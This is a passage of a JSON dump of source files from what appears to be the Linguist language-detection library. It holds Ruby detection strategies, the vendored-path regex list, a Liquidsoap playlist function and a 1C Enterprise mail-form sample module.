    "content": "module Linguist\n  module Strategy\n    # Detects XML files based on root tag.\n    class XML\n      # Scope of the search for the root tag\n      # Number of lines to check at the beginning of the file\n      SEARCH_SCOPE = 2\n\n      # Public: Use the root tag to detect the XML blobs, only if no other\n      # candidates were previously identified.\n      #\n      # blob               - An object that quacks like a blob.\n      # candidates         - A list of candidate languages.\n      #\n      # Examples\n      #\n      #   XML.call(FileBlob.new(\"path/to/file\"))\n      #\n      # Returns the list of candidates if it wasn't empty, an array with the\n      # XML language as sole item if the root tag is detected, and an empty\n      # Array otherwise.\n      def self.call(blob, candidates = [])\n        return candidates if candidates.any?\n\n        header = blob.first_lines(SEARCH_SCOPE).join(\"\\n\")\n        /<?xml version=/.match(header) ? [Language[\"XML\"]] : []\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/tokenizer.rb",
    "content": "require 'strscan'\nrequire 'linguist/linguist'\n\nmodule Linguist\n  # Generic programming language tokenizer.\n  #\n  # Tokens are designed for use in the language bayes classifier.\n  # It strips any data strings or comments and preserves significant\n  # language symbols.\n  class Tokenizer\n    # Public: Extract tokens from data\n    #\n    # data - String to tokenize\n    #\n    # Returns Array of token Strings.\n    def self.tokenize(data)\n      new.extract_tokens(data)\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/vendor.yml",
    "content": "# Vendored files and directories are excluded from language\n# statistics.\n#\n# Lines in this file are Regexps that are matched against the file\n# pathname.\n#\n# Please add additional test coverage to\n# `test/test_file_blob.rb#test_vendored` if you make any changes.\n\n## Vendor Conventions ##\n\n# Caches\n- (^|/)cache/\n\n# Dependencies\n- ^[Dd]ependencies/\n\n# Distributions\n- (^|/)dist/\n\n# C deps\n- ^deps/\n- (^|/)configure$\n- (^|/)config\\.guess$\n- (^|/)config\\.sub$\n\n# stuff autogenerated by autoconf - still C deps\n- (^|/)aclocal\\.m4\n- (^|/)libtool\\.m4\n- (^|/)ltoptions\\.m4\n- (^|/)ltsugar\\.m4\n- (^|/)ltversion\\.m4\n- (^|/)lt~obsolete\\.m4\n\n# .NET Core Install Scripts\n- (^|/)dotnet-install\\.(ps1|sh)$\n\n# Linters\n- (^|/)cpplint\\.py\n\n# Node dependencies\n- (^|/)node_modules/\n\n# Yarn 2\n- (^|/)\\.yarn/releases/\n- (^|/)\\.yarn/plugins/\n- (^|/)\\.yarn/sdks/\n- (^|/)\\.yarn/versions/\n- (^|/)\\.yarn/unplugged/\n\n# esy.sh dependencies\n- (^|/)_esy$\n\n# Bower Components\n- (^|/)bower_components/\n\n# Erlang bundles\n- ^rebar$\n- (^|/)erlang\\.mk\n\n# Go dependencies\n- (^|/)Godeps/_workspace/\n\n# Go fixtures\n- (^|/)testdata/\n\n# GNU indent profiles\n- (^|/)\\.indent\\.pro\n\n# Minified JavaScript and CSS\n- (\\.|-)min\\.(js|css)$\n\n# Stylesheets imported from packages\n- ([^\\s]*)import\\.(css|less|scss|styl)$\n\n# Bootstrap css and js\n- (^|/)bootstrap([^/.]*)(\\..*)?\\.(js|css|less|scss|styl)$\n- (^|/)custom\\.bootstrap([^\\s]*)(js|css|less|scss|styl)$\n\n# Font Awesome\n- (^|/)font-?awesome\\.(css|less|scss|styl)$\n- (^|/)font-?awesome/.*\\.(css|less|scss|styl)$\n\n# Foundation css\n- (^|/)foundation\\.(css|less|scss|styl)$\n\n# Normalize.css\n- (^|/)normalize\\.(css|less|scss|styl)$\n\n# Skeleton.css\n- (^|/)skeleton\\.(css|less|scss|styl)$\n\n# Bourbon css\n- (^|/)[Bb]ourbon/.*\\.(css|less|scss|styl)$\n\n# Animate.css\n- (^|/)animate\\.(css|less|scss|styl)$\n\n# Materialize.css\n- (^|/)materialize\\.(css|less|scss|styl|js)$\n\n# Select2\n- (^|/)select2/.*\\.(css|scss|js)$\n\n# Bulma css\n- (^|/)bulma\\.(css|sass|scss)$\n\n# Vendored dependencies\n- (3rd|[Tt]hird)[-_]?[Pp]arty/\n- (^|/)vendors?/\n- (^|/)[Ee]xtern(als?)?/\n- (^|/)[Vv]+endor/\n\n# Debian packaging\n- ^debian/\n\n# Haxelib projects often contain a neko bytecode file named run.n\n- (^|/)run\\.n$\n\n# Bootstrap Datepicker\n- (^|/)bootstrap-datepicker/\n\n## Commonly Bundled JavaScript frameworks ##\n\n# jQuery\n- (^|/)jquery([^.]*)\\.js$\n- (^|/)jquery\\-\\d\\.\\d+(\\.\\d+)?\\.js$\n\n# jQuery UI\n- (^|/)jquery\\-ui(\\-\\d\\.\\d+(\\.\\d+)?)?(\\.\\w+)?\\.(js|css)$\n- (^|/)jquery\\.(ui|effects)\\.([^.]*)\\.(js|css)$\n\n# jQuery Gantt\n- (^|/)jquery\\.fn\\.gantt\\.js\n\n# jQuery fancyBox\n- (^|/)jquery\\.fancybox\\.(js|css)\n\n# Fuel UX\n- (^|/)fuelux\\.js\n\n# jQuery File Upload\n- (^|/)jquery\\.fileupload(-\\w+)?\\.js$\n\n# jQuery dataTables\n- (^|/)jquery\\.dataTables\\.js\n\n# bootboxjs\n- (^|/)bootbox\\.js\n\n# pdf-worker\n- (^|/)pdf\\.worker\\.js\n\n# Slick\n- (^|/)slick\\.\\w+.js$\n\n# Leaflet plugins\n- (^|/)Leaflet\\.Coordinates-\\d+\\.\\d+\\.\\d+\\.src\\.js$\n- (^|/)leaflet\\.draw-src\\.js\n- (^|/)leaflet\\.draw\\.css\n- (^|/)Control\\.FullScreen\\.css\n- (^|/)Control\\.FullScreen\\.js\n- (^|/)leaflet\\.spin\\.js\n- (^|/)wicket-leaflet\\.js\n\n# Sublime Text workspace files\n- (^|/)\\.sublime-project\n- (^|/)\\.sublime-workspace\n\n# VS Code workspace files\n- (^|/)\\.vscode/\n\n# Prototype\n- (^|/)prototype(.*)\\.js$\n- (^|/)effects\\.js$\n- (^|/)controls\\.js$\n- (^|/)dragdrop\\.js$\n\n# Typescript definition files\n- (.*?)\\.d\\.ts$\n\n# MooTools\n- (^|/)mootools([^.]*)\\d+\\.\\d+.\\d+([^.]*)\\.js$\n\n# Dojo\n- (^|/)dojo\\.js$\n\n# MochiKit\n- (^|/)MochiKit\\.js$\n\n# YUI\n- (^|/)yahoo-([^.]*)\\.js$\n- (^|/)yui([^.]*)\\.js$\n\n# WYS editors\n- (^|/)ckeditor\\.js$\n- (^|/)tiny_mce([^.]*)\\.js$\n- (^|/)tiny_mce/(langs|plugins|themes|utils)\n\n# Ace Editor\n- (^|/)ace-builds/\n\n# Fontello CSS files\n- (^|/)fontello(.*?)\\.css$\n\n# MathJax\n- (^|/)MathJax/\n\n# Chart.js\n- (^|/)Chart\\.js$\n\n# CodeMirror\n- (^|/)[Cc]ode[Mm]irror/(\\d+\\.\\d+/)?(lib|mode|theme|addon|keymap|demo)\n\n# SyntaxHighlighter - http://alexgorbatchev.com/\n- (^|/)shBrush([^.]*)\\.js$\n- (^|/)shCore\\.js$\n- (^|/)shLegacy\\.js$\n\n# AngularJS\n- (^|/)angular([^.]*)\\.js$\n\n# D3.js\n- (^|\\/)d3(\\.v\\d+)?([^.]*)\\.js$\n\n# React\n- (^|/)react(-[^.]*)?\\.js$\n\n# flow-typed\n- (^|/)flow-typed/.*\\.js$\n\n# Modernizr\n- (^|/)modernizr\\-\\d\\.\\d+(\\.\\d+)?\\.js$\n- (^|/)modernizr\\.custom\\.\\d+\\.js$\n\n# Knockout\n- (^|/)knockout-(\\d+\\.){3}(debug\\.)?js$\n\n## Python ##\n\n# Sphinx\n- (^|/)docs?/_?(build|themes?|templates?|static)/\n\n# django\n- (^|/)admin_media/\n- (^|/)env/\n\n# Fabric\n- (^|/)fabfile\\.py$\n\n# WAF\n- (^|/)waf$\n\n# .osx\n- (^|/)\\.osx$\n\n## Obj-C ##\n\n# Xcode\n### these can be part of a directory name\n\n- \\.xctemplate/\n- \\.imageset/\n\n# Carthage\n- (^|/)Carthage/\n\n# Sparkle\n- (^|/)Sparkle/\n\n# Crashlytics\n- (^|/)Crashlytics\\.framework/\n\n# Fabric\n- (^|/)Fabric\\.framework/\n\n# BuddyBuild\n- (^|/)BuddyBuildSDK\\.framework/\n\n# Realm\n- (^|/)Realm\\.framework\n\n# RealmSwift\n- (^|/)RealmSwift\\.framework\n\n# git config files\n- (^|/)\\.gitattributes$\n- (^|/)\\.gitignore$\n- (^|/)\\.gitmodules$\n\n## Groovy ##\n\n# Gradle\n- (^|/)gradlew$\n- (^|/)gradlew\\.bat$\n- (^|/)gradle/wrapper/\n\n## Java ##\n\n# Maven\n- (^|/)mvnw$\n- (^|/)mvnw\\.cmd$\n- (^|/)\\.mvn/wrapper/\n\n## .NET ##\n\n# Visual Studio IntelliSense\n- -vsdoc\\.js$\n- \\.intellisense\\.js$\n\n# jQuery validation plugin (MS bundles this with asp.net mvc)\n- (^|/)jquery([^.]*)\\.validate(\\.unobtrusive)?\\.js$\n- (^|/)jquery([^.]*)\\.unobtrusive\\-ajax\\.js$\n\n# Microsoft Ajax\n- (^|/)[Mm]icrosoft([Mm]vc)?([Aa]jax|[Vv]alidation)(\\.debug)?\\.js$\n\n# NuGet\n- (^|/)[Pp]ackages\\/.+\\.\\d+\\/\n\n# ExtJS\n- (^|/)extjs/.*?\\.js$\n- (^|/)extjs/.*?\\.xml$\n- (^|/)extjs/.*?\\.txt$\n- (^|/)extjs/.*?\\.html$\n- (^|/)extjs/.*?\\.properties$\n- (^|/)extjs/\\.sencha/\n- (^|/)extjs/docs/\n- (^|/)extjs/builds/\n- (^|/)extjs/cmd/\n- (^|/)extjs/examples/\n- (^|/)extjs/locale/\n- (^|/)extjs/packages/\n- (^|/)extjs/plugins/\n- (^|/)extjs/resources/\n- (^|/)extjs/src/\n- (^|/)extjs/welcome/\n\n# Html5shiv\n- (^|/)html5shiv\\.js$\n\n# Test fixtures\n- (^|/)[Tt]ests?/fixtures/\n- (^|/)[Ss]pecs?/fixtures/\n\n# PhoneGap/Cordova\n- (^|/)cordova([^.]*)\\.js$\n- (^|/)cordova\\-\\d\\.\\d(\\.\\d)?\\.js$\n\n# Foundation js\n- (^|/)foundation(\\..*)?\\.js$\n\n# Vagrant\n- (^|/)Vagrantfile$\n\n# .DS_Stores\n- (^|/)\\.[Dd][Ss]_[Ss]tore$\n\n# R packages\n- (^|/)inst/extdata/\n\n# Octicons\n- (^|/)octicons\\.css\n- (^|/)sprockets-octicons\\.scss\n\n# Typesafe Activator\n- (^|/)activator$\n- (^|/)activator\\.bat$\n\n# ProGuard\n- (^|/)proguard\\.pro$\n- (^|/)proguard-rules\\.pro$\n\n# PuPHPet\n- (^|/)puphpet/\n\n# Android Google APIs\n- (^|/)\\.google_apis/\n\n# Jenkins Pipeline\n- (^|/)Jenkinsfile$\n\n# Gitpod\n- (^|/)\\.gitpod\\.Dockerfile$\n\n# GitHub.com\n- (^|/)\\.github/\n\n# obsidian.md settings\n- (^|/)\\.obsidian/\n\n# teamcity CI configuration\n- (^|/)\\.teamcity/\n\n# XVBA dependencies\n- (^|/)xvba_modules/\n"
  },
  {
    "path": "lib/linguist/version.rb",
    "content": "module Linguist\n  VERSION = File.read(File.expand_path(\"../VERSION\", __FILE__)).strip\nend\n"
  },
  {
    "path": "lib/linguist.rb",
    "content": "require 'linguist/blob_helper'\nrequire 'linguist/generated'\nrequire 'linguist/grammars'\nrequire 'linguist/heuristics'\nrequire 'linguist/language'\nrequire 'linguist/repository'\nrequire 'linguist/samples'\nrequire 'linguist/shebang'\nrequire 'linguist/version'\nrequire 'linguist/strategy/manpage'\nrequire 'linguist/strategy/xml'\nrequire 'linguist/instrumenter'\n\nclass << Linguist\n  # Public: Detects the Language of the blob.\n  #\n  # blob - an object that includes the Linguist `BlobHelper` interface;\n  #       see Linguist::LazyBlob and Linguist::FileBlob for examples\n  #\n  # Returns Language or nil.\n  def detect(blob, allow_empty: false)\n    # Bail early if the blob is binary or empty.\n    return nil if blob.likely_binary? || blob.binary? || (!allow_empty && blob.empty?)\n\n    Linguist.instrument(\"linguist.detection\", :blob => blob) do\n      # Call each strategy until one candidate is returned.\n      languages = []\n      returning_strategy = nil\n\n      STRATEGIES.each do |strategy|\n        returning_strategy = strategy\n        candidates = Linguist.instrument(\"linguist.strategy\", :blob => blob, :strategy => strategy, :candidates => languages) do\n          strategy.call(blob, languages)\n        end\n        if candidates.size == 1\n          languages = candidates\n          break\n        elsif candidates.size > 1\n          # More than one candidate was found, pass them to the next strategy.\n          languages = candidates\n        else\n          # No candidates, try the next strategy\n        end\n      end\n\n      Linguist.instrument(\"linguist.detected\", :blob => blob, :strategy => returning_strategy, :language => languages.first)\n\n      languages.first\n    end\n  end\n\n  # Internal: The strategies used to detect the language of a file.\n  #\n  # A strategy is an object that has a `.call` method that takes two arguments:\n  #\n  #   blob - An object that quacks like a blob.\n  #   languages - An Array of candidate Language objects that were returned by the\n  #               previous strategy.\n  #\n  # A strategy should return an Array of Language candidates.\n  #\n  # Strategies are called in turn until a single Language is returned.\n  STRATEGIES = [\n    Linguist::Strategy::Modeline,\n    Linguist::Strategy::Filename,\n    Linguist::Shebang,\n    Linguist::Strategy::Extension,\n    Linguist::Strategy::XML,\n    Linguist::Strategy::Manpage,\n    Linguist::Heuristics,\n    Linguist::Classifier\n  ]\n\n  # Public: Set an instrumenter.\n  #\n  #     class CustomInstrumenter\n  #       def instrument(name, payload = {})\n  #         warn \"Instrumenting #{name}: #{payload[:blob]}\"\n  #       end\n  #     end\n  #\n  #     Linguist.instrumenter = CustomInstrumenter.new\n  #\n  # The instrumenter must conform to the `ActiveSupport::Notifications`\n  # interface, which defines `#instrument` and accepts:\n  #\n  # name    - the String name of the event (e.g. \"linguist.detected\")\n  # payload - a Hash of the exception context.\n  attr_accessor :instrumenter\n\n  # Internal: Perform instrumentation on a block\n  #\n  #     Linguist.instrument(\"linguist.dosomething\", :blob => blob) do\n  #       # logic to instrument here.\n  #     end\n  #\n  def instrument(*args, &bk)\n    if instrumenter\n      instrumenter.instrument(*args, &bk)\n    elsif block_given?\n      yield\n    end\n  end\n\nend\n"
  },
  {
    "path": "playlist.liq",
    "content": "# Play a list of files.\n# @category Source / Input\n# @param ~id Force the value of the source ID.\n# @param ~check_next Function used to filter next tracks. A candidate track is \\\n#   only validated if the function returns true on it. The function is called \\\n#   before resolution, hence metadata will only be available for requests \\\n#   corresponding to local files. This is typically used to avoid repetitions, \\\n#   but be careful: if the function rejects all attempts, the playlist will \\\n#   enter into a consuming loop and stop playing anything.\n# @param ~prefetch How many requests should be queued in advance.\n# @param ~loop Loop on the playlist.\n# @param ~mode Play the files in the playlist either in the order (\"normal\" mode), \\\n#  or shuffle the playlist each time it is loaded, and play it in this order for a \\\n#  whole round (\"randomize\" mode), or pick a random file in the playlist each time \\\n#  (\"random\" mode).\n# @param ~native Use native implementation, when available.\n# @param ~on_loop Function executed when the playlist is about to loop.\n# @param ~on_done Function executed when the playlist is finished.\n# @param ~max_fail When this number of requests fail to resolve, the whole playlists is considered as failed and `on_fail` is called.\n# @param ~on_fail Function executed when too many requests failed and returning the contents of a fixed playlist.\n# @param ~timeout Timeout (in sec.) for a single download.\n# @param playlist Playlist.\n# @method reload Reload the playlist with given list of songs.\n# @method remaining_files Songs remaining to be played.\ndef playlist.list(\n  ~id=null(),\n  ~check_next=null(),\n  ~prefetch=1,\n  ~loop=true,\n  ~mode=\"normal\",\n  ~native=false,\n  ~on_loop={()},\n  ~on_done={()},\n  ~max_fail=10,\n  ~on_fail=null(),\n  ~timeout=20.,\n  playlist\n) =\n  ignore(native)\n  id = string.id.default(default=\"playlist.list\", id)\n  mode =\n    if\n      not list.mem(mode, [\"normal\", \"random\", \"randomize\"])\n    then\n      log.severe(label=id, \"Invalid mode: #{mode}\")\n      \"randomize\"\n    else\n      mode\n    end\n\n  check_next = check_next ?? fun (_) -> true\n  should_stop = ref(false)\n  on_shutdown({should_stop.set(true)})\n  on_fail =\n    null.map(\n      fun (on_fail) -> {if not should_stop() then on_fail() else [] end},\n      on_fail\n    )\n\n\n  # Original playlist when loaded\n  playlist_orig = ref(playlist)\n\n  # Randomize the playlist if necessary\n  def randomize(p) =\n    if mode == \"randomize\" then list.shuffle(p) else p end\n  end\n\n  # Current remaining playlist\n  playlist = ref(randomize(playlist))\n\n  # A reference to know if the source has been stopped\n  has_stopped = ref(false)\n\n  # Delay the creation of next after the source because we need it to resolve\n  # requests at the right content type.\n  next_fun = ref(fun () -> null())\n\n  def next() =\n    f = next_fun()\n    f()\n  end\n\n  # Instantiate the source\n  default =\n    request.dynamic(\n      id=id,\n      prefetch=prefetch,\n      timeout=timeout,\n      retry_delay=1.,\n      available={not has_stopped()},\n      next\n    )\n\n  s =\n%ifdef native\n    if native then stdlib_native.request.dynamic(id=id, next) else default end\n%else\n    default\n%endif\n\n  source.set_name(s, \"playlist.list.reloadable\")\n\n  # The reload function\n  def reload(~empty_queue=true, p) =\n    log.debug(label=id, \"Reloading playlist.\")\n    playlist_orig := p\n    playlist := randomize(playlist_orig())\n    has_stopped := false\n    if\n      empty_queue\n    then\n      q = s.queue()\n      s.set_queue([])\n      list.iter(request.destroy, q)\n      ignore(s.fetch())\n    end\n  end\n\n  # When we have more than max_fail failures in a row, we wait for 1 second\n  # before trying again in order to avoid infinite loops.\n  failed_count = ref(0)\n  failed_time = ref(0.)\n\n  # The (real) next function\n  def rec next() =\n    if\n      loop and list.is_empty(playlist())\n    then\n      on_loop()\n\n      # The above function might have reloaded the playlist\n      if\n        list.is_empty(playlist())\n      then\n        playlist := randomize(playlist_orig())\n      end\n    end\n\n    file =\n      if\n        list.length(playlist()) > 0\n      then\n        if\n          mode == \"random\"\n        then\n          n = random.int(min=0, max=list.length(playlist()))\n          list.nth(default=\"\", playlist(), n)\n        else\n          ret = list.hd(default=\"\", playlist())\n          playlist := list.tl(playlist())\n          ret\n        end\n      else\n        # Playlist finished\n        if\n          not has_stopped()\n        then\n          has_stopped := true\n          log.info(label=id, \"Playlist stopped.\")\n          on_done()\n        end\n\n        \"\"\n      end\n\n    if\n      file == \"\" or (failed_count() >= max_fail and time() < failed_time() + 1.)\n    then\n      # Playlist failed too many times recently, don't try next for now.\n      null()\n    else\n      log.debug(label=id, \"Next song will be \\\"#{file}\\\".\")\n      r = request.create(file)\n      if\n        not request.resolve(content_type=s, r)\n      then\n        log.info(label=id, \"Could not resolve request: #{request.uri(r)}.\")\n        request.destroy(r)\n        ref.incr(failed_count)\n\n        # Playlist failed, call handler.\n        if\n          failed_count() < max_fail\n        then\n          log.info(label=id, \"Playlist failed.\")\n          if\n            null.defined(on_fail)\n          then\n            f = null.get(on_fail)\n            reload(f())\n          end\n        end\n\n        failed_time := time()\n        (next() : request?)\n      else\n        failed_count := 0\n        if\n          check_next(r)\n        then\n          r\n        else\n          log.info(\n            label=id, \"Request #{request.uri(r)} rejected by check_next.\"\n          )\n\n          request.destroy(r)\n          next()\n        end\n      end\n    end\n  end\n\n  next_fun := next\n\n  # List of songs remaining to be played\n  def remaining_files() =\n    playlist()\n  end\n\n  # Return\n  s.{reload=reload, remaining_files=remaining_files}\nend"
  },
  {
    "path": "samples/1C Enterprise/Catalog.ИсходящиеПисьма.Form.ФормаЭлемента.Form.Module.bsl",
    "content": "&НаСервереБезКонтекста\nФункция ПолучитьКонтактноеЛицоПоЭлектроннойПочте(ЭлектроннаяПочта)\n\tЗапрос = Новый Запрос;\n\tЗапрос.Текст = \"ВЫБРАТЬ КонтактноеЛицо ИЗ Справочник.Контрагенты ГДЕ ЭлектроннаяПочта = &ЭлектроннаяПочта\";\n\tЗапрос.Параметры.Вставить(\"ЭлектроннаяПочта\", СокрЛП(ЭлектроннаяПочта));\n\tВыборка = Запрос.Выполнить().Выбрать();\n\tКонтактноеЛицо = \"\";\n\tЕсли Выборка.Следующий() Тогда\n\t\tКонтактноеЛицо = Выборка.КонтактноеЛицо;\n\tКонецЕсли;\n\tВозврат КонтактноеЛицо;\nКонецФункции\n\n&НаСервереБезКонтекста\nФункция ПолучитьКонтактноеЛицоПоПолучателю(Получатель)\n\tЗапрос = Новый Запрос;\n\tЗапрос.Текст = \"ВЫБРАТЬ КонтактноеЛицо ИЗ Справочник.Контрагенты ГДЕ Ссылка = &Получатель\";\n\tЗапрос.Параметры.Вставить(\"Получатель\", Получатель);\n\tВыборка = Запрос.Выполнить().Выбрать();\n\tКонтактноеЛицо = \"\";\n\tЕсли Выборка.Следующий() Тогда\n\t\tКонтактноеЛицо = Выборка.КонтактноеЛицо;\n\tКонецЕсли;\n\tВозврат КонтактноеЛицо;\nКонецФункции\n\n&НаСервереБезКонтекста\nПроцедура ДобавитьПолучателей(Получатель, Получатели)\t\n\tЗапрос = Новый Запрос;\n\tЗапрос.Текст = \"ВЫБРАТЬ ЭлектроннаяПочта ИЗ Справочник.Контрагенты ГДЕ Ссылка \";\n\tЕсли ТипЗнч(Получатели) = Тип(\"Массив\") Тогда\n\t\tЗапрос.Текст = Запрос.Текст + \"В (&Получатели)\";\n\tИначе\n\t\tЗапрос.Текст = Запрос.Текст + \"= &Получатели\";\n\tКонецЕсли;\n\tЗапрос.Параметры.Вставить(\"Получатели\", Получатели);\n\tВыборка = Запрос.Выполнить().Выбрать();\n\tПока Выборка.Следующий() Цикл\n\t\tЕсли Получатель <> \"\" Тогда\n\t\t\tПолучатель = Получатель + \"; \";\n\t\tКонецЕсли;\n\t\tПолучатель = Получатель + Выборка.ЭлектроннаяПочта;\n\tКонецЦикла;\nКонецПроцедуры\n\n&НаСервере\nПроцедура ПриСозданииНаСервере(Отказ, СтандартнаяОбработка)\n\tЕсли Параметры.Ключ.Пустая() Тогда\n\t\tЗаголовок = \"Исходящее письмо (Создание)\";\n\t\tОбъект.Дата = ТекущаяДата();\n\t\tПоШаблону = Параметры.Свойство(\"ПоШаблону\");\n\t\tВходящееПисьмо = Параметры.ВходящееПисьмо;\n\t\tЕсли ПоШаблону = Истина Тогда\n\t\t\tЭлементы.ЗаполнитьПоШаблону.Видимость = Истина;\n\t\t\tРаботаСПочтой.ЗаполнитьПисьмоПоШаблону(Объект, Содержимое);\n\t\tИначеЕсли Не ВходящееПисьмо.Пустая() Тогда\n\t\t\tРаботаСПочтой.ЗаполнитьОтветНаПисьмо(ВходящееПисьмо, Объект, Содержимое);\n\t\tКонецЕсли;\n\t\tАдресаты = Параметры.Адресаты;\n\t\tЕсли Адресаты <> Неопределено Тогда\n\t\t\tЗапрос = Новый Запрос;\n\t\t\tЗапрос.Текст = \"ВЫБРАТЬ\n\t\t\t               |\tКонтрагенты.ЭлектроннаяПочта\n\t\t\t               |ИЗ\n\t\t\t               |\tСправочник.Контрагенты КАК Контрагенты\n\t\t\t               |ГДЕ\n\t\t\t               |\tКонтрагенты.Ссылка В(&Адресаты)\n\t\t\t               |\tИ Контрагенты.ЭлектроннаяПочта <> \"\"\"\"\";\n\t\t\tЗапрос.УстановитьПараметр(\"Адресаты\", Адресаты);\t\t\t   \n\t\t\tПолучатель = \"\";\n\t\t\tВыборка = Запрос.Выполнить().Выбрать();\n\t\t\tПока Выборка.Следующий() Цикл\n\t\t\t\tЕсли Получатель <> \"\" Тогда\n\t\t\t\t\tПолучатель = Получатель + \"; \";\n\t\t\t\tКонецЕсли;\n\t\t\t\tПолучатель = Получатель + Выборка.ЭлектроннаяПочта;\n\t\t\tКонецЦикла;\n\t\t\tОбъект.Получатель = Получатель;\n\t\tКонецЕсли;\n\tКонецЕсли;\nКонецПроцедуры\n\n&НаСервере\nПроцедура ПриЧтенииНаСервере(ТекущийОбъект)\n\tСодержимое = ТекущийОбъект.Содержимое.Получить();\n\tЗаголовок = ТекущийОбъект.Наименование + \" (Исходящее письмо)\";\n\tЕсли  РаботаСПочтой.ПисьмоОтправлено(ТекущийОбъект.Ссылка) Тогда\n\t\tЗаголовок = Заголовок + \" - Отправлено\";\n\tКонецЕсли;\nКонецПроцедуры\n\n&НаСервере\nПроцедура ПередЗаписьюНаСервере(Отказ, ТекущийОбъект, ПараметрыЗаписи)\n\tТекущийОбъект.Содержимое = Новый ХранилищеЗначения(Содержимое, Новый СжатиеДанных());\n\tТекущийОбъект.Текст = Содержимое.ПолучитьТекст();\nКонецПроцедуры\n\n&НаСервере\nФункция ОтправитьПисьмо(Ошибка)\n\tЕсли Не Записать() Тогда\n\t\tОшибка = \"ОшибкаЗаписи\";\n\t\tВозврат Ложь;\n\tКонецЕсли;\n\tЕсли Не РаботаСПочтой.ОтправитьПисьмо(Объект.Ссылка) Тогда\n\t\tОшибка = \"ОшибкаОтправки\";\n\t\tВозврат Ложь;\n\tКонецЕсли;\n\tЗаголовок = Заголовок + \" - Отправлено\";\n\tВозврат Истина;\nКонецФункции\n\n&НаКлиенте\nФункция ОтправитьПисьмоКлиент()\n\tОшибка = \"\";\n\tЕсли Не ОтправитьПисьмо(Ошибка) Тогда\n\t\tЕсли Ошибка = \"ОшибкаОтправки\" Тогда\n\t\t\tКнопки = Новый СписокЗначений;\n\t\t\tКнопки.Добавить(1, \"Настроить почту\");\n\t\t\tКнопки.Добавить(2, \"Закрыть\");\n\t\t\t\n\t\t\tОп = Новый ОписаниеОповещения(\n\t\t\t\t\"ОтправитьПисьмоКлиентВопросЗавершение\",\n\t\t\t\tЭтотОбъект);\n\t\t\tПоказатьВопрос(Оп,\n\t\t\t\t\"Не указаны настройки интернет почты!\", \n\t\t\t\tКнопки, , 1);\n\t\tКонецЕсли;\n\t\tВозврат Ложь;\n\tКонецЕсли;\n\t\n\tНавигационнаяСсылка = ПолучитьНавигационнуюСсылку(Объект.Ссылка);\n\tПоказатьОповещениеПользователя(\"Письмо отправлено\", НавигационнаяСсылка, Объект.Наименование);\n\tОповеститьОбИзменении(Объект.Ссылка);\n\tВозврат Истина;\nКонецФункции\n\n&НаКлиенте\nПроцедура ОтправитьПисьмоКлиентВопросЗавершение(Результат, Параметры) Экспорт\n\tЕсли Результат = 1 Тогда\n\t\tОткрытьФорму(\"ОбщаяФорма.НастройкаПочты\");\n\tКонецЕсли;\nКонецПроцедуры\n\n&НаКлиенте\nПроцедура Отправить(Команда)\n\tОтправитьПисьмоКлиент();\nКонецПроцедуры\n\n&НаКлиенте\nПроцедура ОтправитьИЗакрыть(Команда)\n\tЕсли Не ОтправитьПисьмоКлиент() Тогда\n\t\tВозврат;\n\tКонецЕсли;\n\tЗакрыть();\nКонецПроцедуры\n\n&НаКлиенте\nПроцедура ВставитьСтрокуВТекущуюПозицию(Поле, Документ, Строка)\n\tПерем Начало, Конец;\n\tПоле.ПолучитьГраницыВыделения(Начало, Конец);\n\tПозиция = Документ.ПолучитьПозициюПоЗакладке(Начало);\n\tДокумент.Удалить(Начало, Конец);\n\tНачало = Документ.ПолучитьЗакладкуПоПозиции(Позиция);\n\tДокумент.Вставить(Начало, Строка);\n\tПозиция = Позиция + СтрДлина(Строка);\n\tЗакладка = Документ.ПолучитьЗакладкуПоПозиции(Позиция);\n\tПоле.УстановитьГраницыВыделения(Закладка, Закладка);\nКонецПроцедуры\n\n&НаКлиенте\nПроцедура ВставитьКонтактноеЛицо(Команда)\n\tЕсли Объект.Контрагент.Пустая() Тогда\n\t\tСообщить(\"Выберите контрагента\");\n\tИначе\n\t\tКонтактноеЛицо = ПолучитьКонтактноеЛицоПоПолучателю(Объект.Контрагент);\n\t\tВставитьСтрокуВТекущуюПозицию(Элементы.Содержимое, Содержимое, КонтактноеЛицо + \" \");\n\tКонецЕсли;\t\nКонецПроцедуры\n\n&НаСервере\nПроцедура ПослеЗаписиНаСервере(ТекущийОбъект, ПараметрыЗаписи)\n\tЗаголовок = ТекущийОбъект.Наименование + \" (Исходящее письмо)\";\nКонецПроцедуры\n\n&НаКлиенте\nПроцедура КонтрагентПриИзменении(Элемент)\n\tДобавитьПолучателей(Объект.Получатель, Объект.Контрагент);\nКонецПроцедуры\n\n&НаКлиенте\nПроцедура ВыделитьВажное(Команда)\n\tПерем Начало, Конец;\n    ВсеВажное = Истина;\n    Элементы.Содержимое.ПолучитьГраницыВыделения(Начало, Конец);\n    Если Начало = Конец Тогда\n        Возврат;\n    КонецЕсли;\n    \n    НаборТекстовыхЭлементов = Новый Массив();\n    Для Каждого ТекстовыйЭлемент Из Содержимое.СформироватьЭлементы(Начало, Конец) Цикл\n        Если Тип(ТекстовыйЭлемент) = Тип(\"ТекстФорматированногоДокумента\") Тогда\n            НаборТекстовыхЭлементов.Добавить(ТекстовыйЭлемент);    \n        КонецЕсли;    \n    КонецЦикла;\n    \n    Для Каждого ТекстовыйЭлемент Из НаборТекстовыхЭлементов Цикл\n        Если ТекстовыйЭлемент.Шрифт.Жирный <> Истина И\n            ТекстовыйЭлемент.ЦветТекста <> Новый Цвет(255, 0, 0) Тогда\n            ВсеВажное = Ложь;\n            Прервать;\n        КонецЕсли;\n    КонецЦикла;\n    \n    Для Каждого ТекстовыйЭлемент Из НаборТекстовыхЭлементов Цикл\n        ТекстовыйЭлемент.Шрифт = Новый Шрифт(ТекстовыйЭлемент.Шрифт, , , Не ВсеВажное);\n        ТекстовыйЭлемент.ЦветТекста = Новый Цвет(?(ВсеВажное, 0, 255), 0, 0);\n    КонецЦикла;\nКонецПроцедуры\n\n&НаКлиенте\nПроцедура ЗаполнитьПоШаблону(Команда)\n\tЕсли Объект.Контрагент.Пустая() Тогда\n\t\tСообщить(\"Выберите контрагента\");\n\tИначе\n\t\tНайтиИЗаменить(\"[Контрагент]\", Объект.Контрагент);\n\t\tНайтиИЗаменить(\"[КонтактноеЛицо]\", ПолучитьКонтактноеЛицоПоПолучателю(Объект.Контрагент));\n\tКонецЕсли;\n\tНайтиИЗаменить(\"[ДатаПисьма]\", Объект.Дата);\nКонецПроцедуры\n\n&НаКлиенте\nПроцедура НайтиИЗаменить(СтрокаДляПоиска, СтрокаДляЗамены)\n\tПерем 